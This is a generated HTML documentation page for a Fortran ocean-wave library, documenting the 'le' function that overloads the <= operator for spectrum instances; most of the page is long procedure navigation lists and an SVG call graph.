<a class="list-group-item" href="../proc/getwaterdensity.html">getWaterDensity</a>
<a class="list-group-item" href="../proc/getwaterdensity%7E2.html">getWaterDensity</a>
<a class="list-group-item" href="../proc/getwaveaction.html">getWaveAction</a>
<a class="list-group-item" href="../proc/getwavelength.html">getWavelength</a>
<a class="list-group-item" href="../proc/getwavenumber.html">getWavenumber</a>
<a class="list-group-item" href="../proc/getwavenumber2d.html">getWavenumber2d</a>
<a class="list-group-item" href="../proc/getwavenumberspacing.html">getWavenumberSpacing</a>
<a class="list-group-item" href="../proc/gravityclairaut.html">gravityClairaut</a>
<a class="list-group-item" href="../interface/grid_type.html">grid_type</a>
<a class="list-group-item" href="../proc/gt.html">gt</a>
<a class="list-group-item" href="../proc/horizontalacceleration.html">horizontalAcceleration</a>
<a class="list-group-item" href="../proc/horizontalvelocity.html">horizontalVelocity</a>
<a class="list-group-item" href="../interface/integrate.html">integrate</a>
<a class="list-group-item" href="../proc/integrate_domain.html">integrate_domain</a>
<a class="list-group-item" href="../proc/integrate_spectrum.html">integrate_spectrum</a>
<a class="list-group-item" href="../proc/isallocated.html">isAllocated</a>
<a class="list-group-item" href="../proc/isallocated%7E2.html">isAllocated</a>
<a class="list-group-item" href="../proc/ismonochromatic.html">isMonochromatic</a>
<a class="list-group-item" href="../proc/isomnidirectional.html">isOmnidirectional</a>
<a class="list-group-item" href="../proc/jonswap.html">jonswap</a>
<a class="list-group-item" href="../proc/jonswappeakfrequency.html">jonswapPeakFrequency</a>
<a class="list-group-item" href="../proc/le.html">le</a>
<a class="list-group-item" href="../proc/lt.html">lt</a>
<a class="list-group-item" href="../proc/meanperiod.html">meanPeriod</a>
<a class="list-group-item" href="../proc/meanperiod%7E2.html">meanPeriod</a>
<a class="list-group-item" href="../proc/meanperiodzerocrossing.html">meanPeriodZeroCrossing</a>
<a class="list-group-item" href="../proc/meanperiodzerocrossing%7E2.html">meanPeriodZeroCrossing</a>
<a class="list-group-item" href="../proc/meansquareslope.html">meanSquareSlope</a>
<a class="list-group-item" href="../proc/meansquareslopedirectional.html">meanSquareSlopeDirectional</a>
<a class="list-group-item" href="../proc/momentum_x.html">momentum_x</a>
<a class="list-group-item" href="../proc/momentum_y.html">momentum_y</a>
<a class="list-group-item" href="../proc/momentumflux_xx.html">momentumFlux_xx</a>
<a class="list-group-item" href="../proc/momentumflux_xy.html">momentumFlux_xy</a>
<a class="list-group-item" href="../proc/momentumflux_yy.html">momentumFlux_yy</a>
<a class="list-group-item" href="../proc/neq.html">neq</a>
<a class="list-group-item" href="../proc/neq%7E2.html">neq</a>
<a class="list-group-item" href="../proc/nondimensionaldepth.html">nondimensionalDepth</a>
<a class="list-group-item" href="../proc/nondimensionalenergy.html">nondimensionalEnergy</a>
<a class="list-group-item" href="../proc/nondimensionalfetch.html">nondimensionalFetch</a>
<a class="list-group-item" href="../proc/nondimensionalfrequency.html">nondimensionalFrequency</a>
<a class="list-group-item" href="../proc/nondimensionalroughness_h1986.html">nondimensionalRoughness_H1986</a>
<a class="list-group-item" href="../proc/nondimensionalroughness_s1974.html">nondimensionalRoughness_S1974</a>
<a class="list-group-item" href="../proc/nondimensionaltime.html">nondimensionalTime</a>
<a class="list-group-item" href="../proc/omnidirectionalspectrum.html">omnidirectionalSpectrum</a>
<a class="list-group-item" href="../interface/ones.html">ones</a>
<a class="list-group-item" href="../proc/ones_int.html">ones_int</a>
<a class="list-group-item" href="../proc/ones_real.html">ones_real</a>
<a class="list-group-item" href="../proc/peakedness.html">peakedness</a>
<a class="list-group-item" href="../proc/peakfrequency.html">peakFrequency</a>
<a class="list-group-item" href="../proc/peakfrequencydiscrete.html">peakFrequencyDiscrete</a>
<a class="list-group-item" href="../proc/phillips.html">phillips</a>
<a class="list-group-item" href="../proc/piersonmoskowitz.html">piersonMoskowitz</a>
<a class="list-group-item" href="../proc/piersonmoskowitzpeakfrequency.html">piersonMoskowitzPeakFrequency</a>
<a class="list-group-item" href="../proc/pressure.html">pressure</a>
<a class="list-group-item" href="../interface/range.html">range</a>
<a class="list-group-item" href="../proc/range_int.html">range_int</a>
<a class="list-group-item" href="../proc/range_real.html">range_real</a>
<a class="list-group-item" href="../proc/readjson.html">readJSON</a>
<a class="list-group-item" href="../proc/real2d_mult_spectrum.html">real2d_mult_spectrum</a>
<a class="list-group-item" href="../proc/real_add_domain.html">real_add_domain</a>
<a class="list-group-item" href="../proc/real_add_spectrum.html">real_add_spectrum</a>
<a class="list-group-item" href="../proc/real_div_domain.html">real_div_domain</a>
<a class="list-group-item" href="../proc/real_div_spectrum.html">real_div_spectrum</a>
<a class="list-group-item" href="../proc/real_mult_domain.html">real_mult_domain</a>
<a class="list-group-item" href="../proc/real_mult_spectrum.html">real_mult_spectrum</a>
<a class="list-group-item" href="../proc/real_sub_domain.html">real_sub_domain</a>
<a class="list-group-item" href="../proc/real_sub_spectrum.html">real_sub_spectrum</a>
<a class="list-group-item" href="../proc/saturationspectrum.html">saturationSpectrum</a>
<a class="list-group-item" href="../proc/sbf_dccm2012.html">sbf_DCCM2012</a>
<a class="list-group-item" href="../proc/sbf_jonswap.html">sbf_JONSWAP</a>
<a class="list-group-item" href="../proc/sds_dccm2012.html">sds_DCCM2012</a>
<a class="list-group-item" href="../proc/sdt_dccm2012.html">sdt_DCCM2012</a>
<a class="list-group-item" href="../proc/setairdensity.html">setAirDensity</a>
<a class="list-group-item" href="../proc/setairdensity%7E2.html">setAirDensity</a>
<a class="list-group-item" href="../proc/setcurrent1d.html">setCurrent1d</a>
<a class="list-group-item" href="../proc/setcurrent2d.html">setCurrent2d</a>
<a class="list-group-item" href="../proc/setdepth.html">setDepth</a>
<a class="list-group-item" href="../proc/setdepth%7E2.html">setDepth</a>
<a class="list-group-item" href="../proc/setelevation.html">setElevation</a>
<a class="list-group-item" href="../proc/setelevation%7E2.html">setElevation</a>
<a class="list-group-item" href="../proc/setgravity.html">setGravity</a>
<a class="list-group-item" href="../proc/setgravity%7E2.html">setGravity</a>
<a class="list-group-item" href="../proc/setspectrum1d.html">setSpectrum1d</a>
<a class="list-group-item" href="../proc/setspectrum1d%7E2.html">setSpectrum1d</a>
<a class="list-group-item" href="../proc/setspectrum2d.html">setSpectrum2d</a>
<a class="list-group-item" href="../proc/setspectrum2d%7E2.html">setSpectrum2d</a>
<a class="list-group-item" href="../proc/setspectrumarray1d1d.html">setSpectrumArray1d1d</a>
<a class="list-group-item" href="../proc/setspectrumarray1d2d.html">setSpectrumArray1d2d</a>
<a class="list-group-item" href="../proc/setspectrumarray2d2d.html">setSpectrumArray2d2d</a>
<a class="list-group-item" href="../proc/setsurfacetension.html">setSurfaceTension</a>
<a class="list-group-item" href="../proc/setsurfacetension%7E2.html">setSurfaceTension</a>
<a class="list-group-item" href="../proc/setwaterdensity.html">setWaterDensity</a>
<a class="list-group-item" href="../proc/setwaterdensity%7E2.html">setWaterDensity</a>
<a class="list-group-item" href="../proc/significantsurfaceorbitalvelocity.html">significantSurfaceOrbitalVelocity</a>
<a class="list-group-item" href="../proc/significantwaveheight.html">significantWaveHeight</a>
<a class="list-group-item" href="../proc/significantwaveheight%7E2.html">significantWaveHeight</a>
<a class="list-group-item" href="../proc/sin_dccm2012.html">sin_DCCM2012</a>
<a class="list-group-item" href="../proc/snl_dccm2012.html">snl_DCCM2012</a>
<a class="list-group-item" href="../proc/spectrum_add_real.html">spectrum_add_real</a>
<a class="list-group-item" href="../proc/spectrum_add_spectrum.html">spectrum_add_spectrum</a>
<a class="list-group-item" href="../proc/spectrum_div_real.html">spectrum_div_real</a>
<a class="list-group-item" href="../proc/spectrum_div_spectrum.html">spectrum_div_spectrum</a>
<a class="list-group-item" href="../proc/spectrum_mult_real.html">spectrum_mult_real</a>
<a class="list-group-item" href="../proc/spectrum_mult_real2d.html">spectrum_mult_real2d</a>
<a class="list-group-item" href="../proc/spectrum_mult_spectrum.html">spectrum_mult_spectrum</a>
<a class="list-group-item" href="../proc/spectrum_sub_real.html">spectrum_sub_real</a>
<a class="list-group-item" href="../proc/spectrum_sub_spectrum.html">spectrum_sub_spectrum</a>
<a class="list-group-item" href="../interface/spectrum_type.html">spectrum_type</a>
<a class="list-group-item" href="../proc/spectrum_unary_minus.html">spectrum_unary_minus</a>
<a class="list-group-item" href="../proc/stokesdrift.html">stokesDrift</a>
<a class="list-group-item" href="../proc/stokesdrift2d.html">stokesDrift2d</a>
<a class="list-group-item" href="../interface/tile.html">tile</a>
<a class="list-group-item" href="../proc/tile_1d_int.html">tile_1d_int</a>
<a class="list-group-item" href="../proc/tile_1d_real.html">tile_1d_real</a>
<a class="list-group-item" href="../proc/tile_2d_int.html">tile_2d_int</a>
<a class="list-group-item" href="../proc/tile_2d_real.html">tile_2d_real</a>
<a class="list-group-item" href="../proc/tile_3d_int.html">tile_3d_int</a>
<a class="list-group-item" href="../proc/tile_3d_real.html">tile_3d_real</a>
<a class="list-group-item" href="../proc/ursellnumber.html">ursellNumber</a>
<a class="list-group-item" href="../proc/verticalacceleration.html">verticalAcceleration</a>
<a class="list-group-item" href="../proc/verticalvelocity.html">verticalVelocity</a>
<a class="list-group-item" href="../proc/waveage.html">waveAge</a>
<a class="list-group-item" href="../proc/wavenumber.html">wavenumber</a>
<a class="list-group-item" href="../proc/wavenumbermoment.html">wavenumberMoment</a>
<a class="list-group-item" href="../proc/wavenumbermoment%7E2.html">wavenumberMoment</a>
<a class="list-group-item" href="../proc/wavenumberspectrum.html">wavenumberSpectrum</a>
<a class="list-group-item" href="../proc/writejson.html">writeJSON</a>
<a class="list-group-item" href="../proc/writejson%7E2.html">writeJSON</a>
<a class="list-group-item" href="../interface/zeros.html">zeros</a>
<a class="list-group-item" href="../proc/zeros_int.html">zeros_int</a>
<a class="list-group-item" href="../proc/zeros_real.html">zeros_real</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-md-9" id='text'>
<h2>
private pure elemental function le(self, s2)
</h2>
<p>Logical less than or equal comparison function. Overloads the <code><=</code>
operator.</p>
<h3>Arguments</h3>
<table class="table table-striped varlist">
<thead><tr><th>Type</th>
<th>Intent</th><th>Optional</th>
<th>Attributes</th><th></th><th>Name</th><th></th></thead>
<tbody>
<tr>
<td><span class="anchor" id="variable-self%7E121"></span>class(<a href='../type/spectrum_type.html'>spectrum_type</a>),</td>
<td>intent(in)</td>
<td></td>
<td></td><td>::</td>
<td><strong>self</strong></td><td><p>l.h.s. spectrum instance</p></td>
</tr>
<tr>
<td><span class="anchor" id="variable-s2%7E6"></span>class(<a href='../type/spectrum_type.html'>spectrum_type</a>),</td>
<td>intent(in)</td>
<td></td>
<td></td><td>::</td>
<td><strong>s2</strong></td><td><p>r.h.s. spectrum instance</p></td>
</tr>
</tbody>
</table>
<h3>Return Value <small><span class="anchor" id="variable-le%7E2"></span>logical
</small></h3>
<h3>Calls</h3>
<div class="depgraph"><?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<!-- Generated by graphviz version 2.38.0 (20140413.2041)
-->
<!-- Title: proc~~le~~CallsGraph Pages: 1 -->
<svg id="procleCallsGraph" width="171pt" height="32pt"
viewBox="0.00 0.00 171.00 32.00" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="proc~~le~~CallsGraph" class="graph" transform="scale(1 1) rotate(0) translate(4 28)">
<title>proc~~le~~CallsGraph</title>
<polygon fill="white" stroke="none" points="-4,4 -4,-28 167,-28 167,4 -4,4"/>
<!-- proc~le -->
<g id="proc~~le~~CallsGraph_node1" class="node"><title>proc~le</title>
<polygon fill="none" stroke="black" points="54,-24 0,-24 0,-0 54,-0 54,-24"/>
<text text-anchor="middle" x="27" y="-9.6" font-family="Helvetica,sans-Serif" font-size="10.50">le</text>
</g>
<!-- proc~getspectrum~2 -->
<g id="proc~~le~~CallsGraph_node2" class="node"><title>proc~getspectrum~2</title>
<g id="a_proc~~le~~CallsGraph_node2"><a xlink:href="../proc/getspectrum%7E2.html" xlink:title="getSpectrum">
<polygon fill="#d94e8f" stroke="#d94e8f" points="163,-24 90,-24 90,-0 163,-0 163,-24"/>
<text text-anchor="middle" x="126.5" y="-9.6" font-family="Helvetica,sans-Serif" font-size="10.50" fill="white">getSpectrum</text>
</a>
</g>
</g>
<!-- proc~le->proc~getspectrum~2 -->
<g id="proc~~le~~CallsGraph_edge1" class="edge"><title>proc~le->proc~getspectrum~2</title>
<path fill="none" stroke="#000000" d="M54.1282,-12C61.9935,-12 70.8683,-12 79.6194,-12"/>
<polygon fill="#000000" stroke="#000000" points="79.7677,-15.5001 89.7677,-12 79.7676,-8.5001 79.7677,-15.5001"/>
</g>
</g>
</svg>
</div>
<div><a type="button" class="graph-help" data-toggle="modal" href="#graph-help-text">Help</a></div>
<div class="modal fade" id="graph-help-text" tabindex="-1" role="dialog">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>
<h4 class="modal-title" id="-graph-help-label">Graph Key</h4>
</div>
<div class="modal-body">
<p>Nodes of different colours represent the following: </p>
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<!-- Generated by graphviz version 2.38.0 (20140413.2041)
-->
<!-- Title: Graph Key Pages: 1 -->
<svg width="560pt" height="32pt"
viewBox="0.00 0.00 559.50 32.00" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 28)">
<title>Graph Key</title>
<polygon fill="white" stroke="none" points="-4,4 -4,-28 555.5,-28 555.5,4 -4,4"/>
<!-- Subroutine -->
<g id="node1" class="node"><title>Subroutine</title>
<polygon fill="#d9534f" stroke="#d9534f" points="64,-24 0,-24 0,-0 64,-0 64,-24"/>
<text text-anchor="middle" x="32" y="-9.6" font-family="Helvetica,sans-Serif" font-size="10.50" fill="white">Subroutine</text>
</g>
<!-- Function -->
<g id="node2" class="node"><title>Function</title>
<polygon fill="#d94e8f" stroke="#d94e8f" points="136,-24 82,-24 82,-0 136,-0 136,-24"/>
<text text-anchor="middle" x="109" y="-9.6" font-family="Helvetica,sans-Serif" font-size="10.50" fill="white">Function</text>
</g>
<!-- Interface -->
<g id="node3" class="node"><title>Interface</title>
<polygon fill="#a7506f" stroke="#a7506f" points="209.5,-24 154.5,-24 154.5,-0 209.5,-0 209.5,-24"/>
<text text-anchor="middle" x="182" y="-9.6" font-family="Helvetica,sans-Serif" font-size="10.50" fill="white">Interface</text>
</g>
<!-- Unknown Procedure Type -->
<g id="node4" class="node"><title>Unknown Procedure Type</title>
<polygon fill="#777777" stroke="#777777" points="364,-24 228,-24 228,-0 364,-0 364,-24"/>
<text text-anchor="middle" x="296" y="-9.6" font-family="Helvetica,sans-Serif" font-size="10.50" fill="white">Unknown Procedure Type</text>
</g>
<!-- Program -->
<g id="node5" class="node"><title>Program</title>
<polygon fill="#f0ad4e" stroke="#f0ad4e" points="436,-24 382,-24 382,-0 436,-0 436,-24"/>
<text text-anchor="middle" x="409" y="-9.6" font-family="Helvetica,sans-Serif" font-size="10.50" fill="white">Program</text>
</g>
<!-- This Page's Entity -->
<g id="node6" class="node"><title>This Page's Entity</title>
<polygon fill="none" stroke="black" points="551.5,-24 454.5,-24 454.5,-0 551.5,-0 551.5,-24"/>
<text text-anchor="middle" x="503" y="-9.6" font-family="Helvetica,sans-Serif" font-size="10.50">This Page's Entity</text>
</g>
</g>
</svg>
<p>Solid arrows point from a procedure to one which it calls. Dashed
arrows point from an interface to procedures which implement that interface.
This could include the module procedures in a generic interface or the
implementation in a submodule of an interface in a parent module.
</p>
</div>
</div>
</div>
</div>
<br>
<section class="visible-xs visible-sm hidden-md">
<div class="panel panel-primary">
<div class="panel-heading text-left"><h3 class="panel-title">Source Code</h3></div>
<div class="list-group">
<a class="list-group-item" href="../proc/le.html#src">le</a>
</div>
</div>
</section>
<br class="visible-xs visible-sm hidden-md">
<section>
<h2><span class="anchor" id="src"></span>Source Code</h2>
<div class="highlight"><pre><span></span><span class="k">pure elemental </span><span class="kt">logical </span><span class="k">function </span><span class="n">le</span><span class="p">(</span><span class="n">self</span><span class="p">,</span><span class="n">s2</span><span class="p">)</span>
<span class="c">!! Logical less than or equal comparison function. Overloads the `<=` </span>
<span class="c">!! operator.</span>
<span class="k">class</span><span class="p">(</span><span class="n">spectrum_type</span><span class="p">),</span><span class="k">intent</span><span class="p">(</span><span class="n">in</span><span class="p">)</span> <span class="kd">::</span> <span class="n">self</span> <span class="c">!! l.h.s. spectrum instance</span>
<span class="k">class</span><span class="p">(</span><span class="n">spectrum_type</span><span class="p">),</span><span class="k">intent</span><span class="p">(</span><span class="n">in</span><span class="p">)</span> <span class="kd">::</span> <span class="n">s2</span> <span class="c">!! r.h.s. spectrum instance</span>
<span class="n">le</span> <span class="o">=</span> <span class="k">all</span><span class="p">(</span><span class="n">self</span> <span class="p">%</span> <span class="n">getSpectrum</span><span class="p">()</span> <span class="o"><=</span> <span class="n">s2</span> <span class="p">%</span> <span class="n">getSpectrum</span><span class="p">())</span>
<span class="n">endfunction</span> <span class="n">le</span>
</pre></div>
</section>
<br>
</div>
</div>
<section class="visible-xs visible-sm hidden-md">
<hr>
<div class="panel panel-default">
<div class="panel-heading text-left"><h3 class="panel-title"><a data-toggle="collapse" href="#allprocs-1">All Procedures</a></h3></div>
<div id="allprocs-1" class="panel-collapse collapse">
<div class="list-group">
<a class="list-group-item" href="../proc/advect1drank1.html">advect1dRank1</a>
<a class="list-group-item" href="../proc/advect1drank2.html">advect1dRank2</a>
<a class="list-group-item" href="../proc/advect2drank2.html">advect2dRank2</a>
<a class="list-group-item" href="../interface/advectcentered2ndorder.html">advectCentered2ndOrder</a>
<a class="list-group-item" href="../proc/advectcentered2ndorder1drank0.html">advectCentered2ndOrder1dRank0</a>
<a class="list-group-item" href="../proc/advectcentered2ndorder1drank1.html">advectCentered2ndOrder1dRank1</a>
<a class="list-group-item" href="../proc/advectcentered2ndorder1drank2.html">advectCentered2ndOrder1dRank2</a>
<a class="list-group-item" href="../proc/advectcentered2ndorder2drank0.html">advectCentered2ndOrder2dRank0</a>
<a class="list-group-item" href="../proc/advectcentered2ndorder2drank1.html">advectCentered2ndOrder2dRank1</a>
<a class="list-group-item" href="../proc/advectcentered2ndorder2drank2.html">advectCentered2ndOrder2dRank2</a>
<a class="list-group-item" href="../interface/advectupwind1storder.html">advectUpwind1stOrder</a>
<a class="list-group-item" href="../proc/advectupwind1storder1drank0.html">advectUpwind1stOrder1dRank0</a>
<a class="list-group-item" href="../proc/advectupwind1storder1drank1.html">advectUpwind1stOrder1dRank1</a>
<a class="list-group-item" href="../proc/advectupwind1storder1drank2.html">advectUpwind1stOrder1dRank2</a>
<a class="list-group-item" href="../proc/advectupwind1storder2drank0.html">advectUpwind1stOrder2dRank0</a>
<a class="list-group-item" href="../proc/advectupwind1storder2drank1.html">advectUpwind1stOrder2dRank1</a>
<a class="list-group-item" href="../proc/advectupwind1storder2drank2.html">advectUpwind1stOrder2dRank2</a>
<a class="list-group-item" href="../proc/assign_array_1d.html">assign_array_1d</a>
<a class="list-group-item" href="../proc/assign_array_2d.html">assign_array_2d</a>
<a class="list-group-item" href="../proc/assign_spectrum_array_1d.html">assign_spectrum_array_1d</a>
<a class="list-group-item" href="../proc/assign_spectrum_array_2d.html">assign_spectrum_array_2d</a>
<a class="list-group-item" href="../interface/backward_euler.html">backward_euler</a>
<a class="list-group-item" href="../proc/backward_euler_domain.html">backward_euler_domain</a>
<a class="list-group-item" href="../proc/backward_euler_spectrum.html">backward_euler_spectrum</a>
<a class="list-group-item" href="../proc/constructor.html">constructor</a>
<a class="list-group-item" href="../proc/constructor%7E2.html">constructor</a>
<a class="list-group-item" href="../proc/constructor_1d.html">constructor_1d</a>
<a class="list-group-item" href="../proc/constructor_2d.html">constructor_2d</a>
<a class="list-group-item" href="../interface/diff.html">diff</a>
<a class="list-group-item" href="../proc/diff_1d.html">diff_1d</a>
<a class="list-group-item" href="../proc/diff_2d.html">diff_2d</a>
<a class="list-group-item" href="../interface/diff_periodic.html">diff_periodic</a>
<a class="list-group-item" href="../proc/diff_periodic_1d.html">diff_periodic_1d</a>
<a class="list-group-item" href="../proc/diff_periodic_2d.html">diff_periodic_2d</a>
<a class="list-group-item" href="../proc/domain_add_domain.html">domain_add_domain</a>
<a class="list-group-item" href="../proc/domain_add_real.html">domain_add_real</a>
<a class="list-group-item" href="../proc/domain_div_domain.html">domain_div_domain</a>
<a class="list-group-item" href="../proc/domain_div_real.html">domain_div_real</a>
<a class="list-group-item" href="../proc/domain_mult_domain.html">domain_mult_domain</a>
<a class="list-group-item" href="../proc/domain_mult_real.html">domain_mult_real</a>
<a class="list-group-item" href="../proc/domain_sub_domain.html">domain_sub_domain</a>
<a class="list-group-item" href="../proc/domain_sub_real.html">domain_sub_real</a>
<a class="list-group-item" href="../interface/domain_type.html">domain_type</a>
<a class="list-group-item" href="../proc/domain_unary_minus.html">domain_unary_minus</a>
<a class="list-group-item" href="../proc/donelanhamiltonhui.html">donelanHamiltonHui</a>
<a class="list-group-item" href="../proc/donelanhamiltonhuidirectionalspectrum.html">donelanHamiltonHuiDirectionalSpectrum</a>
<a class="list-group-item" href="../proc/donelanhamiltonhuidirectionalspreading.html">donelanHamiltonHuiDirectionalSpreading</a>
<a class="list-group-item" href="../proc/elevation.html">elevation</a>
<a class="list-group-item" href="../proc/eq.html">eq</a>
<a class="list-group-item" href="../proc/eq%7E2.html">eq</a>
<a class="list-group-item" href="../interface/exact_exponential.html">exact_exponential</a>
<a class="list-group-item" href="../proc/exact_exponential_domain.html">exact_exponential_domain</a>
<a class="list-group-item" href="../proc/exact_exponential_spectrum.html">exact_exponential_spectrum</a>
<a class="list-group-item" href="../interface/forward_euler.html">forward_euler</a>
<a class="list-group-item" href="../proc/forward_euler_domain.html">forward_euler_domain</a>
<a class="list-group-item" href="../proc/forward_euler_spectrum.html">forward_euler_spectrum</a>
<a class="list-group-item" href="../proc/frequencymoment.html">frequencyMoment</a>
<a class="list-group-item" href="../proc/frequencymoment%7E2.html">frequencyMoment</a>
<a class="list-group-item" href="../proc/ge.html">ge</a>
<a class="list-group-item" href="../proc/getairdensity.html">getAirDensity</a>
<a class="list-group-item" href="../proc/getairdensity%7E2.html">getAirDensity</a>
<a class="list-group-item" href="../proc/getamplitude.html">getAmplitude</a>
<a class="list-group-item" href="../proc/getaxisx.html">getAxisX</a>
<a class="list-group-item" href="../proc/getaxisy.html">getAxisY</a>
<a class="list-group-item" href="../proc/getcurrent_u.html">getCurrent_u</a>
<a class="list-group-item" href="../proc/getcurrent_u%7E2.html">getCurrent_u</a>
<a class="list-group-item" href="../proc/getcurrent_v.html">getCurrent_v</a>
<a class="list-group-item" href="../proc/getcurrent_v%7E2.html">getCurrent_v</a>
<a class="list-group-item" href="../proc/getdepth.html">getDepth</a>
<a class="list-group-item" href="../proc/getdepth%7E2.html">getDepth</a>
<a class="list-group-item" href="../proc/getdepthlevels.html">getDepthLevels</a>
<a class="list-group-item" href="../proc/getdirections.html">getDirections</a>
<a class="list-group-item" href="../proc/getdirections%7E2.html">getDirections</a>
<a class="list-group-item" href="../proc/getdirections2d.html">getDirections2d</a>
<a class="list-group-item" href="../proc/getelevation.html">getElevation</a>
<a class="list-group-item" href="../proc/getelevation%7E2.html">getElevation</a>
<a class="list-group-item" href="../proc/getfrequency.html">getFrequency</a>
<a class="list-group-item" href="../proc/getfrequency%7E2.html">getFrequency</a>
<a class="list-group-item" href="../proc/getfrequency2d.html">getFrequency2d</a>
<a class="list-group-item" href="../proc/getgravity.html">getGravity</a>
<a class="list-group-item" href="../proc/getgravity%7E2.html">getGravity</a>
<a class="list-group-item" href="../proc/getgrid.html">getGrid</a>
<a class="list-group-item" href="../proc/getgridrotation.html">getGridRotation</a>
<a class="list-group-item" href="../proc/getgridspacingx.html">getGridSpacingX</a>
<a class="list-group-item" href="../proc/getgridspacingxwithhalo.html">getGridSpacingXWithHalo</a>
<a class="list-group-item" href="../proc/getgridspacingy.html">getGridSpacingY</a>
<a class="list-group-item" href="../proc/getgridspacingywithhalo.html">getGridSpacingYWithHalo</a>
<a class="list-group-item" href="../proc/getgroupspeed.html">getGroupSpeed</a>
<a class="list-group-item" href="../proc/getgroupspeed%7E2.html">getGroupSpeed</a>
<a class="list-group-item" href="../proc/getgroupspeed2d.html">getGroupSpeed2d</a>
<a class="list-group-item" href="../proc/getlatitude.html">getLatitude</a>
<a class="list-group-item" href="../proc/getlongitude.html">getLongitude</a>
<a class="list-group-item" href="../proc/getlowerbounds.html">getLowerBounds</a>
<a class="list-group-item" href="../proc/getlowerbounds%7E2.html">getLowerBounds</a>
<a class="list-group-item" href="../proc/getphasespeed.html">getPhaseSpeed</a>
<a class="list-group-item" href="../proc/getphasespeed%7E2.html">getPhaseSpeed</a>
<a class="list-group-item" href="../proc/getphasespeed2d.html">getPhaseSpeed2d</a>
<a class="list-group-item" href="../proc/getspectrum.html">getSpectrum</a>
<a class="list-group-item" href="../proc/getspectrum%7E2.html">getSpectrum</a>
<a class="list-group-item" href="../proc/getspectrumarray.html">getSpectrumArray</a>
<a class="list-group-item" href="../proc/getsurfacetension.html">getSurfaceTension</a>
<a class="list-group-item" href="../proc/getsurfacetension%7E2.html">getSurfaceTension</a>
<a class="list-group-item" href="../proc/getupperbounds.html">getUpperBounds</a>
<a class="list-group-item" href="../proc/getupperbounds%7E2.html">getUpperBounds</a>
<a class="list-group-item" href="../proc/getwaterdensity.html">getWaterDensity</a>
<a class="list-group-item" href="../proc/getwaterdensity%7E2.html">getWaterDensity</a>
<a class="list-group-item" href="../proc/getwaveaction.html">getWaveAction</a>
<a class="list-group-item" href="../proc/getwavelength.html">getWavelength</a>
<a class="list-group-item" href="../proc/getwavenumber.html">getWavenumber</a>
<a class="list-group-item" href="../proc/getwavenumber2d.html">getWavenumber2d</a>
<a class="list-group-item" href="../proc/getwavenumberspacing.html">getWavenumberSpacing</a>
<a class="list-group-item" href="../proc/gravityclairaut.html">gravityClairaut</a>
<a class="list-group-item" href="../interface/grid_type.html">grid_type</a>
<a class="list-group-item" href="../proc/gt.html">gt</a>
<a class="list-group-item" href="../proc/horizontalacceleration.html">horizontalAcceleration</a>
<a class="list-group-item" href="../proc/horizontalvelocity.html">horizontalVelocity</a>
<a class="list-group-item" href="../interface/integrate.html">integrate</a>
<a class="list-group-item" href="../proc/integrate_domain.html">integrate_domain</a>
<a class="list-group-item" href="../proc/integrate_spectrum.html">integrate_spectrum</a>
<a class="list-group-item" href="../proc/isallocated.html">isAllocated</a>
<a class="list-group-item" href="../proc/isallocated%7E2.html">isAllocated</a>
<a class="list-group-item" href="../proc/ismonochromatic.html">isMonochromatic</a>
<a class="list-group-item" href="../proc/isomnidirectional.html">isOmnidirectional</a>
<a class="list-group-item" href="../proc/jonswap.html">jonswap</a>
<a class="list-group-item" href="../proc/jonswappeakfrequency.html">jonswapPeakFrequency</a>
<a class="list-group-item" href="../proc/le.html">le</a>
<a class="list-group-item" href="../proc/lt.html">lt</a>
<a class="list-group-item" href="../proc/meanperiod.html">meanPeriod</a>
<a class="list-group-item" href="../proc/meanperiod%7E2.html">meanPeriod</a>
<a class="list-group-item" href="../proc/meanperiodzerocrossing.html">meanPeriodZeroCrossing</a>
<a class="list-group-item" href="../proc/meanperiodzerocrossing%7E2.html">meanPeriodZeroCrossing</a>
<a class="list-group-item" href="../proc/meansquareslope.html">meanSquareSlope</a>
<a class="list-group-item" href="../proc/meansquareslopedirectional.html">meanSquareSlopeDirectional</a>
<a class="list-group-item" href="../proc/momentum_x.html">momentum_x</a>
<a class="list-group-item" href="../proc/momentum_y.html">momentum_y</a>
<a class="list-group-item" href="../proc/momentumflux_xx.html">momentumFlux_xx</a>
<a class="list-group-item" href="../proc/momentumflux_xy.html">momentumFlux_xy</a>
<a class="list-group-item" href="../proc/momentumflux_yy.html">momentumFlux_yy</a>
<a class="list-group-item" href="../proc/neq.html">neq</a>
<a class="list-group-item" href="../proc/neq%7E2.html">neq</a>
<a class="list-group-item" href="../proc/nondimensionaldepth.html">nondimensionalDepth</a>
<a class="list-group-item" href="../proc/nondimensionalenergy.html">nondimensionalEnergy</a>
<a class="list-group-item" href="../proc/nondimensionalfetch.html">nondimensionalFetch</a>
<a class="list-group-item" href="../proc/nondimensionalfrequency.html">nondimensionalFrequency</a>
<a class="list-group-item" href="../proc/nondimensionalroughness_h1986.html">nondimensionalRoughness_H1986</a>
<a class="list-group-item" href="../proc/nondimensionalroughness_s1974.html">nondimensionalRoughness_S1974</a>
<a class="list-group-item" href="../proc/nondimensionaltime.html">nondimensionalTime</a>
<a class="list-group-item" href="../proc/omnidirectionalspectrum.html">omnidirectionalSpectrum</a>
<a class="list-group-item" href="../interface/ones.html">ones</a>
<a class="list-group-item" href="../proc/ones_int.html">ones_int</a>
<a class="list-group-item" href="../proc/ones_real.html">ones_real</a>
<a class="list-group-item" href="../proc/peakedness.html">peakedness</a>
<a class="list-group-item" href="../proc/peakfrequency.html">peakFrequency</a>
<a class="list-group-item" href="../proc/peakfrequencydiscrete.html">peakFrequencyDiscrete</a>
<a class="list-group-item" href="../proc/phillips.html">phillips</a>
<a class="list-group-item" href="../proc/piersonmoskowitz.html">piersonMoskowitz</a>
<a class="list-group-item" href="../proc/piersonmoskowitzpeakfrequency.html">piersonMoskowitzPeakFrequency</a>
